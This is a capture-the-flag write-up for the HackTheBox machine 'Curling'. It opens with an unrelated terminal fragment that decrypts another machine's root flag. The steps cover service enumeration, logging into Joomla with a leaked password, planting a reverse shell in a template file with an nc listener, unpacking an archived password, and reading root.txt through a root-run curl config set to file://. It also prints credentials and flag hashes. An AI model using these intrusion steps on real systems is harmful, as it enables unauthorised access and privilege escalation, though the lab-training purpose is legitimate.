dave@ubuntu:~$ echo "QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=" > root_txt.gpg
dave@ubuntu:~$ base32 -d root_txt.gpg > root.txt.gpg
We can decrypt root.txt.gpg by key “itscominghome” in the same directory.
dave@ubuntu:~$ cat Desktop/key
itscominghome
dave@ubuntu:~$ gpg -d root.txt.gpg
You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 ( main key ID 0FDFBFE4)
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
"david <dave@david.com>"
ca468370b91d1f5906e31093d9bfe819
31 Mar 2019
Explanation
Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of machine “Curling” on that website.
Solution
1. Initial Enumeration
Port Scanning:
root@kali:~# nmap -p- 10.10.10.150 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-27 22:03 EEST
Nmap scan report for 10.10.10.150
Host is up ( 0.036s latency) .
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca ( RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 ( ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 ( ED25519)
80/tcp open http Apache httpd 2.4.29 (( Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 ( Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 27.93 seconds
Gobuster HTTP:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.150 -x .php
=====================================================
Gobuster v2.0.0 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.150/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : php
[ +] Timeout : 10s
=====================================================
2018/10/27 22:13:43 Starting gobuster
=====================================================
/index.php ( Status: 200)
/images ( Status: 301)
/media ( Status: 301)
/templates ( Status: 301)
/modules ( Status: 301)
/bin ( Status: 301)
/plugins ( Status: 301)
/includes ( Status: 301)
/language ( Status: 301)
/components ( Status: 301)
/cache ( Status: 301)
/libraries ( Status: 301)
/tmp ( Status: 301)
/layouts ( Status: 301)
/administrator ( Status: 301)
/configuration.php ( Status: 200)
/cli ( Status: 301)
/server-status ( Status: 403)
=====================================================
2018/10/27 22:43:46 Finished
=====================================================
2. Getting User
We can figure out that Joomla is running on port 80.
There is an interesting line in html source code in “/index.php”.
In the “secret.txt”, we have base64 encoded message.
root@kali:~# curl http://10.10.10.150/secret.txt
Q3VybGluZzIwMTgh
root@kali:~# echo -n "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!
We can use this text for login credential.
floris:Curling2018!
Now we have a control of admin console.
Try to upload our shellcode. Go to “Extensions” -> “Templates” -> “Templates”.
Then choose “Protostar Details and Files” -> “index.php”
Now we have a console which we can edit the source code of index.php.
Let’s add reverse shell code (example ) here and access “http://10.10.10.150/index.php”. We can achieve a reverse shell.
# on localhost
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.23] from ( UNKNOWN) [ 10.10.10.150] 43324
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
14:32:45 up 3 days, 3:27, 0 users , load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid = 33( www-data) gid = 33( www-data) groups = 33( www-data)
/bin/sh: 0: can't access tty; job control turned off
$
However, we still do not have access permission to user.txt
$ ls -l /home/floris/
total 12
drwxr-x--- 2 root floris 4096 May 22 2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup
-rw-r----- 1 floris floris 33 May 22 2018 user.txt
$ whoami
www-data
$ cat /home/floris/user.txt
cat : /home/floris/user.txt: Permission denied
We can find that there is a text file looks like output of hex editor.
$ cat /home/floris/password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P) ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...* ..} y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.` F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
By the header of this file, we can find that this file is bzip2 file.
But before that, let’s reset this file to normal binary.
root@kali:~# xxd -r password_backup > password_backup_bin.txt
root@kali:~# cat password_backup_bin.txt
BZh91AY&SY���H���A��P) ava�:4N���nT#�@%�`
��z�@�i�4hdi���9�h�Q�dh����4i�5n���Jh�"��n�y.�<~�x�> �sVT�zH�ߢ�1�V�� ` F���s
ۇ7j:X�dR��k�� ���) p�7۫; ���9��PC�Y�P �HB��* ��G� �U@r�rE8P����H
root@kali:~# file password_backup_bin.txt
password_backup_bin.txt: bzip2 compressed data, block size = 900k
Then, extract data from the compressed bzip2 file.
We got a gzip compressed file.
root@kali:~# mv password_backup_bin.txt password_backup_bin.bz2
root@kali:~# bunzip2 password_backup_bin.bz2
root@kali:~# ls
Desktop Downloads password_backup Pictures Templates
Documents Music password_backup_bin Public Videos
root@kali:~# file password_backup_bin
password_backup_bin: gzip compressed data, was "password" , last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
Extract compressed file again.
We got a new bzip2 file.
root@kali:~# mv password_backup_bin password_backup_bin.gz
root@kali:~# gunzip password_backup_bin.gz
root@kali:~# ls
Desktop Documents Downloads Music password_backup password_backup_bin Pictures Public Templates Videos
root@kali:~# file password_backup_bin
password_backup_bin: bzip2 compressed data, block size = 900k
Extract new bzip2 file. We can obtain a tar file.
root@kali:~# mv password_backup_bin password_backup_bin.bz2
root@kali:~# ls
Desktop Documents Downloads Music password_backup password_backup_bin Pictures Public Templates Videos
root@kali:~# file password_backup_bin
password_backup_bin: POSIX tar archive ( GNU)
Finally extract tar archive we achieved last step. We can get an interesting file “password.txt”.
root@kali:~# mv password_backup_bin password_backup_bin.tar
root@kali:~# tar -xvf password_backup_bin.tar
password.txt
root@kali:~# cat password.txt
5d<wdCbdZu) |hChXll
Now we achieved a following credential.
floris:5d<wdCbdZu) |hChXll
We can use this for ssh connection.
user.txt is in the home directory.
root@kali:~# ssh floris@10.10.10.150
~~~
floris@curling:~$ ls
admin-area password_backup user.txt
floris@curling:~$ cat user.txt
65dd1df0713b40d88ead98cf11b8530b
3. Getting Root
Getting root.txt is straitforward.
There is a directory “admin-area” which has some files.
floris@curling:~/admin-area$ ls -la
total 16
drwxr-x--- 2 root floris 4096 May 22 2018 .
drwxr-xr-x 6 floris floris 4096 May 22 2018 ..
-rw-rw---- 1 root floris 25 Mar 24 15:11 input
-rw-rw---- 1 root floris 92 Mar 24 15:11 report
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
floris@curling:~/admin-area$ cat report
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused ( 111)
By editing the file “~/admin-area/input”, we can achieve the content of root.txt
floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input
Content of root.txt:
floris@curling:~/admin-area$ cat report
82c198ab6fc5365fdc6da2ee5c26064a